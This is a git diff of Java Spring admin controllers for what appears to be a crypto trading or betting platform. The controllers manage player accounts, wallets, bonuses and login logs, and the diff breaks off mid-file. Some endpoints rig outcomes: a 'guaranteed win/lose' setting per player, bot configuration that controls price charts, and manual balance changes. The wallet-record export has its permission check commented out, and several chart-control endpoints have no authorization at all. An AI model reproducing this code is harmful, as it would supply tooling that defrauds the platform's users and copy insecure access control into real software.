if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUser.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppUserService.getTAppUserList(tAppUser); +// changeAppParentIds(list); + return getDataTable(list); + } + + protected void changeUserAppParentIds(TAppUser appUser){ + if(appUser != null && !StringUtils.isEmpty(appUser.getAppParentIds())){ + String []arr = appUser.getAppParentIds().split(","); + appUser.setAppParentIds(arr[arr.length -1]); + } + } + protected void changeAppParentIds(List list){ + for (TAppUser appUser:list) { + changeUserAppParentIds(appUser); + } + } + /** + * 导出玩家用户列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:export')") + @Log(title = "玩家用户", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppUser tAppUser) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUser.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tAppUserService.selectTAppUserList(tAppUser); + changeAppParentIds(list); + ExcelUtil util = new ExcelUtil(TAppUser.class); + util.exportExcel(response, list, "玩家用户数据"); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:getListByPledge')") + @GetMapping("/getListByPledge") + public TableDataInfo getListByPledge(TAppUser tAppUser) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUser.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tAppUserService.getListByPledge(tAppUser); + changeAppParentIds(list); + return getDataTable(list); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:selectUnboundAppUser')") + @GetMapping("/selectUnboundAppUser") + public TableDataInfo selectUnboundAppUser(TAppUser tAppUser) { + startPage(); + List list = tAppUserService.selectUnboundAppUser(tAppUser); + changeAppParentIds(list); + return getDataTable(list); + } + + /** + * 获取玩家用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) { + Map map = new HashMap<>(); + + TAppUser user = tAppUserService.selectTAppUserByUserId(userId); +// changeUserAppParentIds(user); + TAppUserDetail one = userDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + TAppAsset asset = new TAppAsset(); + asset.setUserId(userId); + List tAppAssets = appAssetService.selectTAppAssetList(asset); + map.put("user", user); + map.put("deteil", one); + map.put("asset", tAppAssets); + return success(map); + } + + + /** + * 修改玩家用户 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:add')") + @Log(title = "玩家用户", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppUser tAppUser) { + return toAjax(tAppUserService.addTAppUser(tAppUser)); + } + + /** + * 修改玩家用户 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:edit')") + @Log(title = "玩家用户", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppUser tAppUser) { + return toAjax(tAppUserService.updateTAppUser(tAppUser)); + } + + /** + * 删除玩家用户 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:remove')") + @Log(title = "玩家用户", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) { + return toAjax(tAppUserService.deleteTAppUserByUserIds(userIds)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:sendBous')") + @Log(title = "赠送彩金", businessType = BusinessType.UPDATE) + @PostMapping("/sendBous") + public AjaxResult sendBonus(@RequestBody UserBonusVO userBounsVO) { //获取操作后台用户 + + String username = getUsername(); + userBounsVO.setCreateBy(username); + appAssetService.sendBouns(userBounsVO); + return success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:user:subAmount')") + @Log(title = "人工上下分", businessType = BusinessType.UPDATE) + @PostMapping("/subAmount") + public AjaxResult subAmount(@RequestBody UserBonusVO userBounsVO) { //获取操作后台用户 + String username = getUsername(); + userBounsVO.setCreateBy(username); + int i = appAssetService.subAmount(userBounsVO); + if(i==0){ + return success(); + }else { + return error(); + } + + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:realName')") + @Log(title = "实名认证审核", businessType = BusinessType.UPDATE) + @PostMapping("/realName") + public AjaxResult realName(@RequestBody TAppUserDetail tAppUserDetail) { + tAppUserService.realName(tAppUserDetail); + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService,3); + return success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:realName')") + @Log(title = "重置实名认证", businessType = BusinessType.UPDATE) + @PostMapping("/reSetRealName") + public AjaxResult reSetRealName(@RequestBody TAppUserDetail tAppUserDetail) { + tAppUserService.reSetRealName(tAppUserDetail); + return success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:buff')") + @Log(title = "包输包赢设置", businessType = BusinessType.UPDATE) + @PostMapping("/buff") + public AjaxResult buff(@RequestBody TAppUser tAppUser) { + tAppUserService.updateTAppUser(tAppUser); + return success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:user:updatePwd')") + @Log(title = "重置登录密码", businessType = BusinessType.UPDATE) + @PostMapping("/updateLoginPwd") + public AjaxResult updateLoginPwd(@RequestBody TAppUser tAppUser) { + tAppUser.setLoginPassword(SecurityUtils.encryptPassword(tAppUser.getLoginPassword())); + tAppUserService.updateTAppUser(tAppUser); + return success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:user:updatePwd')") + @Log(title = "重置交易密码", businessType = BusinessType.UPDATE) + @PostMapping("/updateTransPwd") + public AjaxResult updateTransPwd(@RequestBody TAppUserDetail tAppUser) { + TAppUserDetail tAppUserDetai = tAppUserService.selectUserDetailByUserId(tAppUser.getUserId()); + String userTardPwd = tAppUser.getUserTardPwd(); + if (!StringUtils.isEmpty(userTardPwd)) { + tAppUserDetai.setUserTardPwd(SecurityUtils.encryptPassword(userTardPwd)); + } + userDetailService.update(tAppUserDetai, new UpdateWrapper().eq("user_id", tAppUser.getUserId())); + return success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:realName')") + @Log(title = "重置交易密码", businessType = BusinessType.UPDATE) + @PostMapping("/updateRealName") + public AjaxResult updateRealName(@RequestBody TAppUserDetail tAppUser) { + TAppUserDetail tAppUserDetai = tAppUserService.selectUserDetailByUserId(tAppUser.getUserId()); + + userDetailService.update(tAppUserDetai, new UpdateWrapper().eq("user_id", tAppUser.getUserId())); + return success(); + } + + + @PreAuthorize("@ss.hasPermi('bussiness:user:updateUserAppIds')") + @Log(title = "修改玩家用户上级代理", businessType = BusinessType.UPDATE) + @PutMapping("/updateUserAppIds") + public AjaxResult updateUserAppIds(Long appUserId, Long agentUserId) { + return toAjax(tAppUserService.updateUserAppIds(appUserId,agentUserId)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:updateBlackStatus')") + @Log(title = "修改用户拉黑状态", businessType = BusinessType.UPDATE) + @PutMapping("/updateBlackStatus") + public AjaxResult updateBlackStatus (@RequestBody TAppUser tAppUser){ + return toAjax(tAppUserService.updateBlackStatus(tAppUser)); + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java new file mode 100644 index 0000000..f91fe1d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户详细信息Controller + * + * @author ruoyi + * @date 2023-07-26 + */ +@RestController +@RequestMapping("/bussiness/detail") +public class TAppUserDetailController extends BaseController +{ + @Autowired + private ITAppUserDetailService tAppUserDetailService; + + /** + * 查询用户详细信息列表(实名认证) + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:list')") + @GetMapping("/list") + public TableDataInfo list(TAppUserDetail tAppUserDetail) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUserDetail.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppUserDetailService.selectTAppUserDetailLists(tAppUserDetail); + return getDataTable(list); + } + + /** + * 导出用户详细信息列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:export')") + @Log(title = "用户详细信息", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppUserDetail tAppUserDetail) + { + List list = tAppUserDetailService.selectTAppUserDetailList(tAppUserDetail); + ExcelUtil util = new ExcelUtil(TAppUserDetail.class); + util.exportExcel(response, list, "用户详细信息数据"); + } + + /** + * 获取用户详细信息详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tAppUserDetailService.selectTAppUserDetailById(id)); + } + + /** + * 新增用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:add')") + @Log(title = "用户详细信息", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppUserDetail tAppUserDetail) + { + return toAjax(tAppUserDetailService.insertTAppUserDetail(tAppUserDetail)); + } + + /** + * 修改用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:edit')") + @Log(title = "用户详细信息", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppUserDetail tAppUserDetail) + { + return toAjax(tAppUserDetailService.updateTAppUserDetail(tAppUserDetail)); + } + + /** + * 删除用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:detail:remove')") + @Log(title = "用户详细信息", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tAppUserDetailService.deleteTAppUserDetailByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java new file mode 100644 index 0000000..19cb791 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java @@ -0,0 +1,124 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 用户信息Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/bussiness/wallet/record") +public class TAppWalletRecordController extends BaseController +{ + @Autowired + private ITAppWalletRecordService tAppWalletRecordService; + + /** + * 查询用户信息列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:list')") + @GetMapping("/list") + public TableDataInfo list(TAppWalletRecord tAppWalletRecord) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppWalletRecord.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppWalletRecordService.selectTAppWalletRecordList(tAppWalletRecord); + return getDataTable(list); + } + + /** + * 导出账变信息 + */ +// @PreAuthorize("@ss.hasPermi('bussiness:record:export')") + @Log(title = "账变信息", businessType = BusinessType.EXPORT) + @GetMapping("/export") + public void export(HttpServletResponse response, TAppWalletRecord tAppWalletRecord) + { +// LoginUser loginUser = SecurityUtils.getLoginUser(); +// SysUser user = loginUser.getUser(); +// if(!user.isAdmin()){ +// if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ +// tAppWalletRecord.setAdminParentIds(String.valueOf(user.getUserId())); +// } +// } + List list = tAppWalletRecordService.selectTAppWalletRecordList(tAppWalletRecord); + ExcelUtil util = new ExcelUtil(TAppWalletRecord.class); + util.exportExcel(response, list, "用户信息数据"); + } + + /** + * 获取用户信息详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tAppWalletRecordService.selectTAppWalletRecordById(id)); + } + + /** + * 新增用户信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:add')") + @Log(title = "用户信息", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppWalletRecord tAppWalletRecord) + { + return toAjax(tAppWalletRecordService.insertTAppWalletRecord(tAppWalletRecord)); + } + + /** + * 修改用户信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:edit')") + @Log(title = "用户信息", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppWalletRecord tAppWalletRecord) + { + return toAjax(tAppWalletRecordService.updateTAppWalletRecord(tAppWalletRecord)); + } + + /** + * 删除用户信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:record:remove')") + @Log(title = "用户信息", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tAppWalletRecordService.deleteTAppWalletRecordByIds(ids)); + } + + @PostMapping("/statisticsAmount") + public AjaxResult statisticsAmount() { + return AjaxResult.success(tAppWalletRecordService.statisticsAmount()); + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java new file mode 100644 index 0000000..9fcc651 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java @@ -0,0 +1,108 @@ +package com.ruoyi.web.controller.bussiness; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAppuserLoginLog; +import com.ruoyi.bussiness.service.ITAppuserLoginLogService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; + +import com.ruoyi.common.core.page.TableDataInfo; + +import java.util.List; + +/** + * 系统访问记录Controller + * + * @author ruoyi + * @date 2023-06-30 + */ +@RestController +@RequestMapping("/bussiness/log") +public class TAppuserLoginLogController extends BaseController +{ + @Resource + private ITAppuserLoginLogService tAppuserLoginLogService; + + /** + * 查询系统访问记录列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:list')") + @GetMapping("/list") + public TableDataInfo list(TAppuserLoginLog tAppuserLoginLog) + { + startPage(); + List list = tAppuserLoginLogService.selectTAppuserLoginLogList(tAppuserLoginLog); + return getDataTable(list); + } + + /** + * 导出系统访问记录列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:export')") + @Log(title = "系统访问记录", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppuserLoginLog tAppuserLoginLog) + { + List list = tAppuserLoginLogService.selectTAppuserLoginLogList(tAppuserLoginLog); + ExcelUtil util = new ExcelUtil(TAppuserLoginLog.class); + util.exportExcel(response, list, "系统访问记录数据"); + } + + /** + * 获取系统访问记录详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tAppuserLoginLogService.selectTAppuserLoginLogById(id)); + } + + /** + * 新增系统访问记录 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:add')") + @Log(title = "系统访问记录", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppuserLoginLog tAppuserLoginLog) + { + return toAjax(tAppuserLoginLogService.insertTAppuserLoginLog(tAppuserLoginLog)); + } + + /** + * 修改系统访问记录 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:edit')") + @Log(title = "系统访问记录", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppuserLoginLog tAppuserLoginLog) + { + return toAjax(tAppuserLoginLogService.updateTAppuserLoginLog(tAppuserLoginLog)); + } + + /** + * 删除系统访问记录 + */ + @PreAuthorize("@ss.hasPermi('bussiness:log:remove')") + @Log(title = "系统访问记录", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tAppuserLoginLogService.deleteTAppuserLoginLogByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java new file mode 100644 index 0000000..dd15c35 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java @@ -0,0 +1,154 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 控线配置Controller + * + * @author ruoyi + * @date 2023-08-09 + */ +@RestController +@RequestMapping("/bussiness/model") +public class TBotKlineModelController extends BaseController +{ + @Autowired + private ITBotKlineModelService tBotKlineModelService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITContractCoinService tContractCoinService; + /** + * 查询控线配置列表 + */ + @GetMapping("/list") + public TableDataInfo list(TBotKlineModel tBotKlineModel) + { + startPage(); + List list = tBotKlineModelService.selectTBotKlineModelList(tBotKlineModel); + return getDataTable(list); + } + + /** + * 导出控线配置列表 + */ + + @Log(title = "控线配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TBotKlineModel tBotKlineModel) + { + List list = tBotKlineModelService.selectTBotKlineModelList(tBotKlineModel); + ExcelUtil util = new ExcelUtil(TBotKlineModel.class); + util.exportExcel(response, list, "控线配置数据"); + } + + /** + * 获取控线配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:trade-robot:detail')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tBotKlineModelService.selectTBotKlineModelById(id)); + } + + /** + * 新增控线配置 + */ + + @Log(title = "控线配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TBotKlineModelVO tBotKlineModel) + { + return toAjax(tBotKlineModelService.insertTBotInfo(tBotKlineModel)); + } + + /** + * 修改控线配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:trade-robot:edit')") + @Log(title = "控线配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TBotKlineModelVO tBotKlineModel) + { + return toAjax(tBotKlineModelService.updateTBotKlineModel(tBotKlineModel)); + } + + /** + * 删除控线配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:trade-robot:remove')") + @Log(title = "控线配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tBotKlineModelService.deleteTBotKlineModelByIds(ids)); + } + @PostMapping("/symbolList") + public TableDataInfo list() + { + List rtn = new ArrayList<>(); + List coinList = tSecondCoinConfigService.getSymbolList(); + for (SymbolCoinConfigVO coin: coinList ) { + if(coin.getMarket().equals("binance")){ + TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol(); + tCurrencySymbol1.setSymbol(coin.getSymbol()); + tCurrencySymbol1.setCoin(coin.getCoin()); + tCurrencySymbol1.setShowSymbol(coin.getShowSymbol()); + rtn.add(tCurrencySymbol1); + } + } + List currencyList = tCurrencySymbolService.getSymbolList(); + for (TCurrencySymbol coin: currencyList ) { + TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol(); + tCurrencySymbol1.setSymbol(coin.getSymbol()); + tCurrencySymbol1.setCoin(coin.getCoin()); + tCurrencySymbol1.setShowSymbol(coin.getShowSymbol()); + rtn.add(tCurrencySymbol1); + } + List contractList = tContractCoinService.getCoinList(); + for (TContractCoin coin: contractList ) { + TCurrencySymbol tCurrencySymbol1 = new TCurrencySymbol(); + tCurrencySymbol1.setSymbol(coin.getSymbol()); + tCurrencySymbol1.setCoin(coin.getCoin()); + tCurrencySymbol1.setShowSymbol(coin.getShowSymbol()); + rtn.add(tCurrencySymbol1); + } + Set objects = new TreeSet<>(Comparator.comparing(o->(o.getShowSymbol()))); + objects.addAll(rtn); + + return getDataTable(Arrays.asList(objects.toArray())); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java new file mode 100644 index 0000000..3bd5283 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.service.ITCollectionOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 【请填写功能名称】Controller + * + * @author ruoyi + * @date 2023-09-08 + */ +@RestController +@RequestMapping("/bussiness/collectionOrder") +public class TCollectionOrderController extends BaseController +{ + @Autowired + private ITCollectionOrderService tCollectionOrderService; + + /** + * 查询【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:list')") + @GetMapping("/list") + public TableDataInfo list(TCollectionOrder tCollectionOrder) + { + startPage(); + List list = tCollectionOrderService.selectTCollectionOrderList(tCollectionOrder); + return getDataTable(list); + } + + /** + * 导出【请填写功能名称】列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:export')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TCollectionOrder tCollectionOrder) + { + List list = tCollectionOrderService.selectTCollectionOrderList(tCollectionOrder); + ExcelUtil util = new ExcelUtil(TCollectionOrder.class); + util.exportExcel(response, list, "【请填写功能名称】数据"); + } + + /** + * 获取【请填写功能名称】详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCollectionOrderService.selectTCollectionOrderById(id)); + } + + /** + * 新增【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:add')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TCollectionOrder tCollectionOrder) + { + return toAjax(tCollectionOrderService.insertTCollectionOrder(tCollectionOrder)); + } + + /** + * 修改【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:edit')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TCollectionOrder tCollectionOrder) + { + return toAjax(tCollectionOrderService.updateTCollectionOrder(tCollectionOrder)); + } + + /** + * 删除【请填写功能名称】 + */ + @PreAuthorize("@ss.hasPermi('bussiness:collectionorder:remove')") + @Log(title = "【请填写功能名称】", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCollectionOrderService.deleteTCollectionOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java new file mode 100644 index 0000000..d30e5c9 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java @@ -0,0 +1,103 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * U本位合约币种Controller + * + * @author michael + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/ucontract") +public class TContractCoinController extends BaseController { + @Autowired + private ITContractCoinService tContractCoinService; + + /** + * 查询U本位合约币种列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:ucontract:list')") + @GetMapping("/list") + public TableDataInfo list(TContractCoin tContractCoin) { + startPage(); + List list = 